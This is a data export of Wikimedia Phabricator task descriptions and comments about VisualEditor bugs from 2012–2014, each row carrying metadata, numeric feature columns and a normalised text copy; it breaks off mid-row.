228471,VisualEditor: Leaving a link while the inspector is open can remove the link,*** Bug 46505 has been marked as a duplicate of this bug. ***,,,1364164432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46505 has been marked as a duplicate of this bug. ***
228467,VisualEditor: Leaving a link while the inspector is open can remove the link,Code now merged.,,,1363139966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Code now merged.
228462,VisualEditor: Leaving a link while the inspector is open can remove the link,https://gerrit.wikimedia.org/r/53488,,,1363132183,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
47062,VisualEditor: Node API re-write,"The re-write of the node API that dm provide up to the rest of VE is necessary for most of the added support that VE is aiming to provide this year.

[Mostly done now.]

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1360975080,1361576303.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oua6msncukecknrhwrdf,task_description,resolved,True,c1,1,True,False,True,-20,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,3.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,3.559322033898305,0.6610169491525424,"The re-write of the node API that dm provide up to the rest of VE is necessary for most of the added support that VE is aiming to provide this year.

[Mostly done now.]

--------------------------
**Version**: unspecified
**Severity**: critical"
222259,VisualEditor: Node API re-write,… which is now merged. Hurrah.,,,1361576303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oua6msncukecknrhwrdf,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.875,… which is now merged. Hurrah.
222251,VisualEditor: Node API re-write,Done in gerrit 50025 and related changes.,,,1361380955,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oua6msncukecknrhwrdf,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Done in gerrit 50025 and related changes.
46926,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**Author:** `phil`

**Description:**
visual editor after deleting lines 3 and 4 - note that 4 is still visible and the gap inbetween 2 and 4 is marked as 'cannot be edited'

I had text
1
2
3
4

selecting the last 2 lines ( 3 and 4 ) and deleting and saving, on looking at the page again '4' is visible and there is a gap that is marked as 'cannot be edited'

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10499}",Unbreak Now!,100.0,1360728000,1366396346.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_description,resolved,True,c1,1,False,False,True,-20,,0.0,0.0,0.0,2.5,1.5,4.0,1.5,0.0,0.0,0.0,1.5,4.0,0.0,0.0,1.0,0.5,0.0,2.5,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.5,1.0,0.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,2.5,4.5,5.0,0.5,4.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,7.5,0.0,0.5,4.0,1.0,0.0,4.0,0.0,0.5,0.0,1.0,1.0,0.0,2.5,0.0,0.0,0.0,3.0634920634920633,0.6190476190476191,"**Author:** CODE

**Description:**
visual editor after deleting lines 3 and 4 - note that 4 is still visible and the gap inbetween 2 and 4 is marked as 'cannot be edited'

I had text
1
2
3
4

selecting the last 2 lines ( 3 and 4 ) and deleting and saving, on looking at the page again '4' is visible and there is a gap that is marked as 'cannot be edited'

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10499}"
391832,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed.",,,1419136405,,PHID-USER-4yggyv53vecfrsed5djx,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.8636363636363636,"Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed."
213998,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.8571428571428571,This is now fixed given the Parsoid update. Sorry for the delay.
213991,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**orbit** wrote:

Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed.",,,1361488266,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.8,"**orbit** wrote:

Looks like this is similar to bug 44701. The linear model is correct, but is incorrectly serialized or parsed."
213985,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**phil** wrote:

Safari on Mac

used the trackpad on my Mac to select the text

Look at page
http://en.wikipedia.org/wiki/User:PhilK10/sandbox/lines",,,1361484161,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,14.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.7142857142857143,"**phil** wrote:

Safari on Mac

used the trackpad on my Mac to select the text

Look at page
URL"
213981,VisualEditor: Selecting last n lines and deleting - last line not deleted (Parsoid selser issue?),"**orbit** wrote:

What browser did this happen with? How did you make the selection (mouse vs. keyboard)? Can you link to the revision?",,,1361483818,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z34hczzuvb2kxj4wvl4l,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,6.0,3.0,9.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.3529411764705883,0.7647058823529411,"**orbit** wrote:

What browser did this happen with? How did you make the selection (mouse vs. keyboard)? Can you link to the revision?"
46687,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),"**Author:** `phil`

**Description:**
error message on save after changing bullet format

Blank page
Add some text e.g. 'test' and make it a numbered bullet
Save the page
Edit the page
Remove the text 'test'
Click on the '1' and click the numbered bullet control to remove it
Save page
""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server.""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10836}",Unbreak Now!,100.0,1360092960,1366396184.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_description,resolved,True,c1,1,False,False,True,-21,,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,1.5,4.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,1.5,3.0,2.5,0.0,5.0,0.0,1.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,3.559322033898305,0.5932203389830508,"**Author:** CODE

**Description:**
error message on save after changing bullet format

Blank page
Add some text e.g. 'test' and make it a numbered bullet
Save the page
Edit the page
Remove the text 'test'
Click on the '1' and click the numbered bullet control to remove it
Save page
""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server.""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10836}"
225503,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),This is now fixed given the Parsoid update. Sorry for the delay.,,,1366396184,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.8571428571428571,This is now fixed given the Parsoid update. Sorry for the delay.
225496,VisualEditor: Parsoid selective serialisation issue when single LI made from P (?),"Can reproduce (not as a Parsoid error, which is just a ""this is not working"", but as a null diff.)

This is a Parsoid bug; holding back for new Parsoid release to live to re-check before assigning.",,,1360209793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukt7mx53j5m7gaxam7vy,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,10.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,6.0,0.0,0.0,0.0,3.306122448979592,0.7346938775510204,"Can reproduce (not as a Parsoid error, which is just a ""this is not working"", but as a null diff.)

This is a Parsoid bug; holding back for new Parsoid release to live to re-check before assigning."
44655,VisualEditor: Backspace creating a slug then deletes again,"Pressing backspace creating a slug then deletes again:

* Create a new page (or go to an existing one), and enter ""AB\nCD\nEF""
* Place the cursor down-page of ""F"" and press backspace; ""F"" is deleted correctly.
* Then press backspace again; ""E"" is deleted, as is the remaining slug, and the cursor moves us.

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1354563540,1354754116.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jye77ivrdahrtvdtxmyb,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,3.0,4.0,0.0,8.0,0.0,1.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,3.473684210526316,0.5473684210526316,"Pressing backspace creating a slug then deletes again:

* Create a new page (or go to an existing one), and enter ""AB\nCD\nEF""
* Place the cursor down-page of ""F"" and press backspace; ""F"" is deleted correctly.
* Then press backspace again; ""E"" is deleted, as is the remaining slug, and the cursor moves us.

--------------------------
**Version**: unspecified
**Severity**: critical"
206234,VisualEditor: Backspace creating a slug then deletes again,Fixed here: https://gerrit.wikimedia.org/r/#/c/37162/,,,1354754116,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-jye77ivrdahrtvdtxmyb,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed here: URL
44654,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1354562580,1355176624.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-v466mnsvk3gmqhazwrti,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: major"
206190,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Merged into master.,,,1355176624,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Merged into master.
206181,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Change-Id: I9d05ef6e3e2461bdcf363232f7b0fbad5e24f506,,,1354930076,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I9d05ef6e3e2461bdcf363232f7b0fbad5e24f506
206175,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog",Now in gerrit as gerrit 37601.,,,1354929606,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,Now in gerrit as gerrit 37601.
206169,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","Ic34fae7a8dbfc2a91ab36ba77613e17a91f29f6f is going to resolve this, when it's done.",,,1354921857,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,6.25,1.0,"Ic34fae7a8dbfc2a91ab36ba77613e17a91f29f6f is going to resolve this, when it's done."
206164,"VisualEditor: Implement ""Show changes"" (wikitext diff) in Save dialog","The VisualEditor should have a ""show changes"" button in the save dialog, taking the user to a wikitext diff in a hover over the editor surface; backend is now written but the front-end is still needed.",,,1354562716,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v466mnsvk3gmqhazwrti,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,5.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.86046511627907,0.813953488372093,"The VisualEditor should have a ""show changes"" button in the save dialog, taking the user to a wikitext diff in a hover over the editor surface; backend is now written but the front-end is still needed."
44555,VisualEditor: Paragraph changed to be a heading using the drop-down has its content deleted,"A paragraph when changed to be a heading using the toolbar drop-down has its content deleted (but the presence still stays).

--------------------------
**Version**: unspecified
